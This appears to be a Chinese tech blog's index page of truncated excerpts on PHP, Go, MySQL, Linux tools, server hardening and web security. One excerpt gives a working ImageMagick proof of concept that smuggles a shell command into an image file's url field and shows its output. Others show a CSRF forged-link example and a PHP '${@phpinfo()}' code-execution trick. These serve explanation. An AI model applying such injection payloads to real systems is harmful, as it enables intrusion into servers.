echo比print快。使用echo的多重参数代替字符串连接。在执行for循环之前确定最大循环数，不要每循环一次都计算最大值，最好运用foreach代替。对global变量，应该用完就unset()掉。用单引号代替双引号来包含字符串，这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量，单引号则不会。函数代替正则表达式完成相同功能。当执行变量$i的递增或递减时，$i++会比++$i慢一些。这种差异是PHP特有的，并不适用于其他语言，++$i更快是因为它只需要3条指令(opcodes)，$i++则需要4条指令。后置递增实际上会产生一个临时变量，这个临时变量随后被递增。而前置递增直接在原值上递增。使用选择分支语句（switch case）好于使用多个if，else if语句。利用var_dump进行PHP代码调试。如果你在寻找php调试技术，我必须说var_dump应该是你要找的目标，在显示php信息方面这个命令可以满足你的所有需要，而调试代码的多数情况与得到PHP中的数值有关。在包含文件时使用完整路径，解析操作系统路径所需的时间会更少。动辄创建全局数值是一种糟糕的做法，不过有时候实际情况的确又需要这么做。对于数据库表或数据库连接信息使用全局数值是一个不错的想法，但不要在你的PHP代码中频繁使用全局数值。另外，更好的一种做法是把你的全局变量存放在一个conf ...继续阅读 (9)

前言  对于很多刚毕业或者大四的同学，都会有个困惑，我如何学PHP,为什么知识会那么杂，然后实习中公司大概需要哪些要求。此篇文章并未如何教你怎么面试的时候吹逼，而是给一点点建议，如何更聪明地达到目的。实习可能会遇到  那么一般实习招进去会做什么呢。据不完全统计，基本都是做管理后台,改BUG。为什么这么安排呢，其实刚进去的时候，大家对于业务并不熟悉，而且也不可能马上让你开发新的模块和功能。做管理后台或者改些小BUG，有助于你慢慢融于工作中，管理后台，说白了就是对数据库表的增删改查，数据库表理解了，业务流程也大体掌握了。后台管理基本工作可以归纳一下几种：1.列表分页显示，2.提示框模态框，3.编辑图文的输入，4.浮层弹出处理，统计数据展示（以折线图饼状图等等）技能树梳理  总结起来，服务端一门框架（ThinkPHP,Yii等）+ 前端（Bootstrap + jQuery） + 数据库 （MySQL,memcache,redis）+Linux(具备搭建 LNMP开发环境)。 要学多少？（Bootstrap + jQuery）满足你的全部前端需求，如果是做PHP的话，直接开发的时候上手册即可，不用拘泥于如何去记，用的时候有个大概就行。纠结原生的Javascript? 我觉得没必要，应该以业务为主，不 ...继续阅读 (7)

微信应用开放的服务和组件包含如下：视图容器：视图(View)、滚动视图、Swiper基础内容：图标、文本、进度条表单组件：按钮、表单等等操作反馈导航媒体组建：音频、图片、视频。地图画布文件操作能力网络：上传下载能力、WebSocket数据：数据缓存能力位置：获取位置、查看位置设备：网络状态、系统信息、重力感应、罗盘界面：设置导航条、导航、动画、绘图等等开放接口：登录，包括签名加密，用户信息、微信支付、模板消息审核：根据《微信小程序平台服务协议》，里面有关描述如下：2.4 为确保微信小程序平台、微信公众平台、其他用户等各方的安全、稳定及良好的用户体验，腾讯将对需要发布的小程序进行发布审核。“发布审核”是指由用户发起，将其完成初始化开发的小程序提交至腾讯，由腾讯自行或委托第三方对该小程序的合法性、合理性、安全性、稳定性、可操作性、用户体验等各方面，采用包括但不限于开发信息核对、安全测试、UI测试、随机测试、动态测试、安全测试等方式，进行审查、甄别、试验与评估的过程。发布审核结果包括审核通过与审核不通过两种。审核不通过的，该小程序将无法发布。之后小程序的审核极有可能采取和App store类似的策略，但相比微信其他平台的审核，各位严格和复杂。教程：微信应用号（小程序，「应用号」的新称呼）终于来了！目前还处于内测阶段，微信只邀请了部分企业参与封测。想必大家都关心应用 ...继续阅读 (12)

正常情况下，win7系统用户在使用WPS文档的时候，一般只能查看、预览一个页面，不同同时预览多个页面。有时候由于工作特殊要求，需要在WPS文档中同时预览多个界面，那么该如何设置呢？接下去小编分享win7在WPS文档中同时预览多个界面的设置方法，有需要的用户可参考下面教程。 解决步骤：1、首先我们先同时打开多个文档，点击视图”菜单，我们点击“重排窗口”旁边的倒三角图标；2、我们可以选择其中的“垂直平铺”；3、设置完成后我们就可以同时看到多个文档。以上教程内容就是win7在WPS文档中同时预览多个界面的设置方法，有需要的用户可以直接尝试设置，希望此教程内容能够帮助到大家！ ...继续阅读 (7)

 一、引言随着互联网应用的广泛普及，海量数据的存储和访问成为了系统设计的瓶颈问题。对于一个大型的互联网应用，每天几十亿的PV无疑对数据库造成了相当高的负载。对于系统的稳定性和扩展性造成了极大的问题。通过数据切分来提高网站性能，横向扩展数据层已经成为架构研发人员首选的方式。水平切分数据库，可以降低单台机器的负载，同时最大限度的降低了了宕机造成的损失。通过负载均衡策略，有效的降低了单台机器的访问负载，降低了宕机的可能性；通过集群方案，解决了数据库宕机带来的单点数据库不能访问的问题；通过读写分离策略更是最大限度了提高了应用中读取（Read）数据的速度和并发量。目前国内的大型互联网应用中，大量的采用了这样的数据切分方案，Taobao,Alibaba,Tencent，它们大都实现了自己的分布式数据访问层（DDAL）。以实现方式和实现的层次来划分，大概分为两个层次（Java应用为例）：JDBC层的封装，ORM框架层的实现。就JDBC层的直接封装而言，现在国内发展较好的一个项目是被称作“变形虫”(Amoeba)的项目，由阿里集团的研究院开发，现在仍然处于测试阶段（beta版），其运行效率和生产时效性有待考究。就ORM框架层的实现而言，比如Taobao的基于ibatis和Spring的的分布式数据访问层，已有多年的应用，运行效率和生产实效性得到了开发人员和用户的肯 ...继续阅读 (36)

序列化是将变量转换为可保存或传输的字符串的过程；反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来，可以轻松地存储和传输数据，使程序更具维护性。 1. serialize和unserialize函数 这两个是序列化和反序列化PHP中数据的常用函数。<?php$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');//序列化数组$s = serialize($a);echo $s;//输出结果：a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}echo '<br /><br />';//反序列化$o = unserialize($s);print_r($o);//输出结果 Array ( [a] => Apple [b] => banana [c] => Coconut )?>当数组值包含如双引号、单引号或冒号等字符时，它们被反序列化后，可能会出现问题。为了克服这个问题，一个巧妙的技巧是使用base64_encode和base64_decode。$obj = array();//序列化$s = base64_e ...继续阅读 (11)

CSRF(Cross Site Request Forgeries)，意为跨网站请求伪造，也有写为XSRF。攻击者伪造目标用户的HTTP请求，然后此请求发送到有CSRF漏洞的网站，网站执行此请 求后，引发跨站请求伪造攻击。攻击者利用隐蔽的HTTP连接，让目标用户在不注意的情况下单击这个链接，由于是用户自己点击的，而他又是合法用户拥有合法 权限，所以目标用户能够在网站内执行特定的HTTP链接，从而达到攻击者的目的。例如:某个购物网站购买商品时，采用http://www.shop.com/buy.php?item=watch&num=1，item参数确定要购买什么物品，num参数确定要购买数量，如果攻击者以隐藏的方式发送给目标用户链接，那么如果目标用户不小心访问以后，购买的数量就成了1000个实例随缘网络PHP留言板V1.0任意删除留言//delbook.php 此页面用于删除留言include_once(“dlyz.php”); //dlyz.php用户验证权限，当权限是admin的时候方可删除留言include_once(“../conn.php”);$del=$_GET[“del”];$id=$_GET[“id”];if ($del==”data”){$ ...继续阅读 (10)

本教程小编分享Win7系统Tracert命令如何使用？Tracert是路由的跟踪实用程序，用于确定IP数据报访问目标所采取的路径，我们在上网的时候，需要追踪本机到指定网址经过哪些路由器，这时候就需要使用到Tracert命令。那么Win7系统Tracert命令如何使用？下面小编和大家分享Win7系统Tracert命令的使用方法。具体方法如下：1、点击“开始”—“运行”；点击“开始”2、然后在弹出来的对话框输入“cmd”—再点击“确定”；点击“确定”3、最后在弹出来的DOS命令窗口输入： tracert “ip”或者“域名”；输入： tracert “ip”4、如果直接输入tracert，后面不带任何参数，会弹出来具体的使用方法。输入tracert以上就是Win7系统Tracert命令的使用方法，大家对Tracert命令也比较熟悉了，希望本教程内容能够帮助到大家。 ...继续阅读 (9)

虽然windows10系统的不断推广，越来越来用户升级安装win10。升级后发现win10系统输入法与win7系统有很大不同，使用起来比较不方便，Win10系统输入法如何变成Win7样式？如果输入法变成win7样式操作起来也比较流畅了，方法当然是有的。接下去小编和大家分享Win10系统输入法变成Win7样式的方法。Win10系统输入法变成Win7样式的方法：1、首先添加语言点击系统托盘中的输入法图标---语言首选项---“添加语言”，选择“英语”---打开，选择“英语(美国)”---添加，或者，右击左下角开始图标，打开控制面板---时钟、语言和区域---语言，点击“添加语言”，选择“英语”---打开，选择“英语(美国)”---添加。2、设置默认语言从“语言首选项”中进入方式的，选中“English(UnitedStates)”点击“设置为默认语言;从控制面板进入的，选择“English(UnitedStates)”，上移到首项。然后将”中文“语言删除。设置默认语言3、打开注册编辑器：HKEY_CURRENT_USER\Keyboard ...继续阅读 (12)

当我进入 Pinterest 时，我的头三个星期是在本部度过的，在那里最新工程把解决生产问题的成果应用到了整个软件栈中。在本部，我们通过构建 Pinterest 来学习 Pinterest 是怎样被构建的，并且，仅仅在几天里就提交代码、做出有意义的贡献也不是不常见。在 Pinterest ，新进来的工程师可以灵活地选择参加哪个组，而且作为在本部工作经历的一部分，编写不同部分的代码可以有助于做出这个选择。本部的人通常会做不同的项目，而我的项目则是深入研究 MySQL 的性能优化。Pinterest， MySQL 和 AWS，我的天！我们的 MySQL 完全运行在 AWS 中。尽管使用了相当高性能的实例类型（配备 SSD RAID-0 阵列），和相当简单的工作负载（很多基于主键或简单范围的单点查询），峰值大约 2000 QPS，我们还是无法达到期望的 IO 性能水平。写 IOPS 一旦超过800，就会导致无法接受的延迟和复制滞后。复制滞后或者从库的读性能不足减慢 ETL 和批处理任务，依靠这些批处理任务的任何小组都会受到负面影响。唯一可行的选项是要么选择一个更大的实例，这样会使我们的开销翻倍、消除我们的效率，或者找办法使现存的系统运行地更好。我从我的同事 Rob Wultsch 那接手了这个项目，他已做出很重要的发现：当在 AWS 的 SSD 上运行时，Linux内核版本非常重要。Ub ...继续阅读 (21)

Thinkphp作为国内的一款流行框架，相信使用的人一定不在少数。本篇我们来分析一下Thinkphp中比较重要的一部分——分布式数据库的连接。当然了，我们在这里不是去将如何使用模型去对数据库进行增删改查。我们是对其底层的连接代码做一个分析，可以帮助大家更好的理解thinkphp对数据库的操作。方便我们以后的使用。一、单一数据库的连接在使用的时候，单一数据库的连接配置非常简单。我们只需要在配置文件中配置一下的信息即可。'DB_TYPE' => 'mysql','DB_HOST' => '192.168.5.102','DB_NAME' => 'databasename','DB_USER' => 'user','DB_PWD' => 'password','DB_PORT' => '3306','DB_PREFIX' => 'onmpw_',设置完成以后就可以使用了。默认情况下就是单一的数据库连接。二、分布式数据库的连接单一数据库的连接很简单，我们着重分析一下分布式数据库的连接。'DB_TYPE' => 'mysql','DB_HOST' => '192.168.5.191,192.168.5.88,192.168.5.103','DB_NAME' => 'test,test,test','DB_US ...继续阅读 (20)

技术上，HTML5大行其道：1：有数据显示，截至2015，有80%的App全部或部分基于HTML5。2：谷歌浏览器于9月1日起不在支持自动播放Flash。3：亚马逊旗下网站（包括Amazon.com门户在内）的所有广告将不再使用flash。在可预见的未来，flash广告将被HTML5广告所取代。移动端+HTML5，这个组合对前端工程师来说是个不小的挑战：如何让开发的页面能有更好的体验？这就是我们今天讨论的话题：移动端HTML5页面前端性能优化。如何优化HTML5在移动设置上的性能表现，首先需要明确以下几个原则：1、PC优化手段在Mobile端同样适用。2、在Mobile侧我们提出三秒种渲染完成首屏指标。3、基于第二点，首屏加载3秒完成或使用Loading。4、基于联通3G网络平均338KB/s(2.71Mb/s)，所以首屏资源不应超过1014KB。5、Mobile端因手机配置原因，除加载外渲染速度也是优化重点。6、基于第五点，要合理处理代码减少渲染损耗。7、基于第二、第五点，所有影响首屏加载和渲染的代码应在处理逻辑中后置。8、加载完成后用户交互使用时也需注意性能。 接下来先看一张小抄神图： 之所以说是神图，是因为它基本上涵盖了所有的优化方案！非常详尽！在这里，我们针对其中几个代表性方案进行探讨：加载优化对于移动端的网页来说，加载过程是最为耗时的过程，可能会占到总 ...继续阅读 (15)

traceroute在排查网路问题很有用，它不仅能够获得本地到目标主机的所有网关路径，还能得知在哪一网关延时较长。traceroute实现原理很简单，就是利用增加存活时间（TTL）值来实现其功能的。每当数据包经过一个路由器，其存活时间就会减1。当其存活时间是0时，主机便取消数据包，并传送一个ICMP TTL数据包给原数据包的发出者。traceroute使用：traceroute[参数][主机]traceroute参数-d 使用Socket层级的排错功能。-f 设置第一个检测数据包的存活数值TTL的大小。-F 设置勿离断位。-g 设置来源路由网关，最多可设置8个。-i 使用指定的网络界面送出数据包。-I 使用ICMP回应取代UDP资料信息。-m 设置检测数据包的最大存活数值TTL的大小。-n 直接使用IP地址而非主机名称。-p 设置UDP传输协议的通信端口。-r 忽略普通的Routing Table，直接将数据包送到远端主机上。-s 设置本地主机送出数据包的IP地址。-t 设置检测数据包的TOS数值。-v 详细显示指令的执行过程。-w 设置等待远端主机回报的时间。-x 开启或关闭数据包的正确性检验。traceroute示例mckee@mckee-pc ~ $ traceroute www.phpddt.com traceroute to www.phpddt.com (42.121. ...继续阅读 (36)

vmstat和iostat是linux重要的两个的性能监控工具。vmstat - 内存，进程和分页等的简要信息procsr 表示多少进程正在等待cpub 表示多少进程正在不可中断地休眠(通常意味正在等待I/O如磁盘、网络、用户输入等)memoryswpd 多少块被换出到磁盘free 多少块是空闲的buff 多少块正在被用作缓冲cache 多少块正在被用作操作系统的缓存swap(页面交换活动)si 多少块正在从磁盘换入so 多少块正在换出到磁盘iobi 多少块从块磁盘设备读入bo 多少块从块磁盘设备写入systemin 每秒中断的数量cs 每秒上下文切换的数量cpu(所有cpu时间花费在各类操作的百分比)us 执行用户代码(非内核)sy 执行系统代码(内核)id 空闲wa 等地啊IOst (time given to other DomU instances)iostat - CPU统计信息，设备和分区的I/O统计信息。avg-cpu表示各类模式下平均cpu使用时间占比，不在详细说明看下device的I/O信息：tps 该设备每秒的传输次数kB_read/s 每秒从设备读取的数据量；kB_wrtn/s 每秒向设备写入的数据量；kB_read 读取的总数据量；kB_wrtn 写入的总数量数据量；这些单位都为Kilobytes ...继续阅读 (90)

golang文档中对type有说明：命名类型，有类型名称如 int, int64, float, string, bool. 还有自定义的命名类型。非命名类型，没类型名称 []string, map[string]string, [4]int. 当比较两个命名类型的时候，类型名称必须一样；当比较命名类型和非命名类型的时候，底层类型一样即可。import ( "fmt" "reflect" ) type T1 []string type T2 []string func main() { foo0 := []string{} foo1 := T1{} foo2 := T2{} fmt.Println(reflect.TypeOf(foo0)) fmt.Println(reflect.TypeOf(foo1)) fmt.Println(reflect.TypeOf(foo2)) // Output: // []string // main.T1 // main.T2 // foo0 can be assigned to foo1, vice versa foo1 = foo0 foo0 = foo1 // foo2 cannot be as ...继续阅读 (27)

在golang语法中，不应该隐藏复杂的类型操作。如string转interface{}，[]string转interface{}都是时间复杂度O(1)的操作。而[]string转[]interface{}是O(n)的操作。注：string和[]byte除外，这是特例。因此[]T转[]interface{}只能自己去实现：strSls := []string{ "test1", "test2", } //[]interface{}(strSls) //cannot convert strSls (type []string) to type []interface {} newSls := make([]interface{}, len(strSls)) for i, v := range strSls { newSls[i] = v } fmt.Println(newSls) ...继续阅读 (33)

mysql字段定义中INT(x)中的x仅仅指的是显示宽度。该可选显示宽度规定用于显示宽度小于指定的列宽度的值时从左侧填满宽度。显示宽度并不限制可以在列内保存的值的范围，也不限制超过列的指定宽度的值的显示。所以x的定义与存储空间没有任何关系都是4个字节。如果给字段添加可选项ZEROFILL时，就更明显了。因为它会将默认补充的空格用零代替。//INT(4) UNSIGNED ZEROFILL 0001 0002 ... 0099 ... 0999 ... 9999 ... 10000 //INT(2) UNSIGNED ZEROFILL 01 02 ... 09 ... 99 ... 100 如果不带ZEROFILL选项，那么左侧就会以空格填充//INT(4) 1 2 ... 99 ... 999 ... 9999 ... 10000 //INT(2) 1 2 ... 9 ... 99 ... 100  ...继续阅读 (26)

SIGTERM是不带参数时kill发送的信号，意思是要进程终止运行，但执行与否还得看进程是否支持。但是SIGKILL信号不同，它可以被捕获和解释（或忽略）的过程。SIGKILL是发送到处理的信号以使其立即终止。当发送到程序，SIGKILL使其立即终止。在对比SIGTERM和SIGINT，这个信号不能被捕获或忽略，并且在接收过程中不能执行任何清理在接收到该信号。SIGINT中断信号，终端在用户按下CTRL+C发送到前台进程。默认行为是终止进程，但它可以捕获或忽略。SIGQUIT是其控制终端发送到进程，当用户请求的过程中执行核心转储的信号。 SIGQUIT通常可以ctrl+\。它可以被捕获和解释（或忽略）。 ...继续阅读 (49)

ssl与tls：SSL：（Secure Socket Layer，安全套接字层），为Netscape所研发，用以保障在Internet上数据传输之安全，利用数据加密(Encryption)技术，可确保数据在网络上之传输过程中不会被截取。当前版本为3.0。它已被广泛地用于Web浏览器与服务器之间的身份认证和加密数据传输。SSL协议位于TCP/IP协议与各种应用层协议之间，为数据通讯提供安全支持。SSL协议可分为两层： SSL记录协议（SSL Record Protocol）：它建立在可靠的传输协议（如TCP）之上，为高层协议提供数据封装、压缩、加密等基本功能的支持。 SSL握手协议（SSL Handshake Protocol）：它建立在SSL记录协议之上，用于在实际的数据传输开始前，通讯双方进行身份认证、协商加密算法、交换加密密钥等。TLS：(Transport Layer Security，传输层安全协议)，用于两个应用程序之间提供保密性和数据完整性。TLS 1.0是IETF（Internet Engineering Task Force，Internet工程任务组）制定的一种新的协议，它建立在SSL 3.0协议规范之上，是SSL 3.0的后续版本，可以理解为SSL 3.1，它是写入了 RFC 的。该协议由两层组成： TLS 记录协议（TLS Record）和 TLS 握手协议（ ...继续阅读 (37)

Media Type/Content Type/MIME Type这三者都是指同一个东西，即互联网媒体类型，用来标识互联网中传输的内容类型。浏览器会识别各种Content Type，显示不同的内容。如音频、图片、视频、文档。一个媒体配型至少包括两部分：一个类型，和一个子类型，还可以包括一个或多个可选的参数。比如说text/html; charset=UTF-8中text是类型；html是子类型；charset=UTF-8是可选参数。类型和子类型如果是以“x-”开头，则是非标准的。下面是负责管理注册媒体类型和字符编码的机构IANA，提供的所有Media Type：http://www.iana.org/assignments/media-types/media-types.xhtml ...继续阅读 (44)

一条go语句就意味着并发执行一个函数。当循环迭代执行go语句时，要注意参数传递常见的一个疏忽。如下：package main import ( "fmt" "time" ) func main() { langs :=[]string {"java", "php", "golang"} for _,lang := range langs { go func() { fmt.Println(lang) }() } time.Sleep(time.Second) }结果打印的全是golang字符串，跟我们预期不一样。这是因为每次迭代都会给变量lang赋值，当迭代完毕后，3个goroutine还没有执行，当执行是而变量lang的值是最后一次迭代的值。如果不想使用外部变量，可以通过添加参数：func main() { langs :=[]string {"java", "php", "golang"} for _,lang := range langs { go func(lang string) { fmt.Println(lang) }(lang) } time.Sleep(time.Second) } ...继续阅读 (22)

首先神奇的PHP是支持字符数据类型的，有同学就写了这样一段代码：for ($c = 'a'; $c <= 'z'; $c++) { echo $c . ' '; }然而结果却不是他想要的a到za b c d e f g h i j k l m n o p q r s t u v w x y z aa ab ac ad ae af ag ah aiaj ak al am an ao ap aq ar as at au av aw ax ay az ba bb bc bd be bf bg bhbi bj bk bl bm bn bo bp bq br bs bt bu bv bw bx by bz ca cb cc cd ce cf cgch ci cj ck cl cm cn co cp cq cr cs ct cu cv cw cx cy cz da db dc dd de dfdg dh di dj dk dl dm dn do dp dq dr ds dt du dv dw dx dy dz ea eb ec ed eeef eg eh ei ej ek el em en eo ep eq er es et eu ev ew ex... on to yz实现a到z的打印有N多的办法，比如说如下几种for ($i = 'a'; $i != 'aa'; $i++) ec ...继续阅读 (54)

代码审计至少包含两个方面首先要确定代码的目的或功能；另外就是检查代码的可读性，即是否更利于理解和维护。或许你审计过很多代码，太长的变量名确实很让人抓狂。不仅影响了代码的清晰度，而且过长的变量让你的代码难以扫描，迫使更多的换行。如何给变量或方法取个好名字首先你要知道这个命名想要表达什么；另外你应该知道这个命名跟什么是无关的。 除此之外，所有的命名中所有的字符串都是多余的。(1)省略变量的参数类型如果是静态类型的语言，你是会知道变量的类型或方法返回值类型，再在命名上加上类型就是多余了// Bad: String nameString; DockableModelessWindow dockableModelessWindow; // Better: String name; DockableModelessWindow window;可用复数代替某些类型// Bad: List<DateTime> holidayDateList; Map<Employee, Role> employeeRoleHashMap; // Better: List<DateTime> holidays; Map<Employee, Role> employeeRoles;方法名不应该描述参数或其类型// Bad: mergeTableCells(List& ...继续阅读 (74)

cron是linux的一个daemon，cron job就是被cron预定执行的任务。cron使用特殊的配置文件即crontab文件来设置命令或脚本的执行时间或频率。之前已经介绍crontab的基础使用，不再详述。再次说明下crontab的命令格式# ┌───────────── min (0 - 59) # │ ┌────────────── hour (0 - 23) # │ │ ┌─────────────── day of month (1 - 31) # │ │ │ ┌──────────────── month (1 - 12) # │ │ │ │ ┌───────────────── day of week (0 - 6) (0 to 6 are Sunday to Saturday, or use names; 7 is Sunday, the same as 0) # │ │ │ │ │ # │ │ │ │ │ # * * * * * command to execute关于前五个参数日期和时间的表达：表示任意：* 号表示 “任意”（first-last)。 指定数字，表示指定的时间。 指定段，表示“开始-结束”内包含的数：比如3-6,表示3，4，5，6 指定列表：比如 ...继续阅读 (40)

服务器的安全问题并不是很复杂，采取下面的原则阻止最常见的攻击行为。经验丰富的管理员都知道，随着服务器数量和用户的增加，用户管理成本会原来越大以下命名以ubuntu为例,其它版本linux会有所不同。passwd 首先将root密码改的很复杂，因为你不需要记住它，只需要在安全的地方保存它即可。apt-get update apt-get upgrade更新软件源列表，更新软件包。安装Fail2banapt-get install fail2banfail2ban可以监视你的系统日志，然后匹配日志的错误信息（正则式匹配）执行相应的屏蔽动作（一般情况下是调用防火墙iptables屏蔽），如:当有人在试探你的SSH、SMTP、FTP密码，只要达到你预设的次数，fail2ban就会调用防火墙屏蔽这个IP，而且可以发送e-mail通知系统管理员，是一款很实用、很强大的软件！配置登录用户,假如用户名为deployuseradd deploy mkdir /home/deploy mkdir /home/deploy/.ssh chmod 700 /home/deploy/.ssh使用public key认证，更安全，更方便PublicKey是用来公开的，可以将其放到SSH服务器自己的帐号中，而PrivateKey只能由自己保管，用来证明自己身份，在服务器上添加id_rsa.pub内容， ...继续阅读 (34)

巨多的网站和漏洞都在使用ImageMagick处理图片，最近ImageMagick被爆出重大漏洞。这个漏洞是由于当在转换图片format的时候，由于image decoder缺少了对文件名的过滤引起的远程代码执行。重现如下:vim crack.jpg 添加如下内容：push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context然后转换格式mckee@mckee-pc ~/download $ convert crack.jpg out.png 总用量 570092 drwxr-xr-x 11 mckee mckee 4096 5月 10 16:30 . drwxr-xr-x 66 mckee mckee 4096 5月 10 16:30 .. -rw-r----- 1 mckee mckee 1351701 5月 4 10:59 1442042040_271217.zip -rw-r----- 1 mckee mckee 20694 5月 5 14:59 1462354457_404523.gif -rw-r----- 1 mckee mckee ...继续阅读 (31)

http状态码413表示服务器拒绝处理当前请求，因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。服务器能够处理的大小受PHP和nginx的config配置，一下基于ubuntu系统修改.修改nginx配置文件＃修改nginx配置 sudo vim /etc/nginx/nginx.conf #在http{…}块内添加 client_max_body_size 100M; ＃重启nginx sudo service nginx reload修改php配置文件＃编辑,如果未使用fpm，应该在/etc/php.ini sudo vim /etc/php5/fpm/php.ini ＃下一根据实际情况修改 upload_max_filesize = 100M post_max_size = 100M #重启webserver或php-fpm sudo service php-fpm reload ...继续阅读 (30)

PHP很多语法特性会让攻击者有机可乘,例如PHP会检测双引号中的变量。执行如下代码：function test() { echo "abc"; } echo "${@test()}"; //或者 echo "${@phpinfo()}";原理如下：$a = 'b'; $b = 'a'; echo $$a; //a以上就利用了PHP可变变量,双引号{}可解析双引号内的变量内容特性制造出来的小麻烦。  ...继续阅读 (28)

Linux下一切皆文件，lsof(lists openfiles)是一个列出当前系统打开文件的工具.文件可以是：普通文件 目录 网络文件系统的文件 字符或设备文件 (函数)共享库 管道，命名管道 符号链接 网络文件（例如：NFS file、网络socket，unix域名socket） 还有其它类型的文件，等等lsof常见参数如下：-a 列出打开文件存在的进程 -c<进程名> 列出指定进程所打开的文件 -g 列出GID号进程详情 -d<文件号> 列出占用该文件号的进程 +d<目录> 列出目录下被打开的文件 +D<目录> 递归列出目录下被打开的文件 -n<目录> 列出使用NFS的文件 -i<条件> 列出符合条件的进程。（4、6、协议、:端口、 @ip ） -p<进程号> 列出指定进程号所打开的文件 -u 列出UID号进程详情lsof输出格式：mckee@mckee-pc ~/program/go/src/sharedlogic (release) $ sudo lsof | more COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME init 1 ...继续阅读 (24)

信号(signal)是unix及其兼容系统用来对进程通讯的一种方式,如果改进程注册了signal handler,当收到signal时会被调用,否则缺省处理程序被调用。只有两种信号不能被拦截和处理:SIGKILL和SIGSTOPos/signal包中提供了Notify函数对signal进行处理，func Notify(c chan<- os.Signal, sig …os.Signal)实现过程很简单：首先我们创建一个os.Signal channel，当进程接受到信号时，系统会往该channel中写入发生的信号。package main import ( "fmt" "os" "os/signal" "time" ) func main() { go signalListen() time.Sleep(time.Hour) } func signalListen() { c := make(chan os.Signal) signal.Notify(c) for { s := <-c //handle fmt.Println("get signal:", s) os.Exit(1) } } ...继续阅读 (48)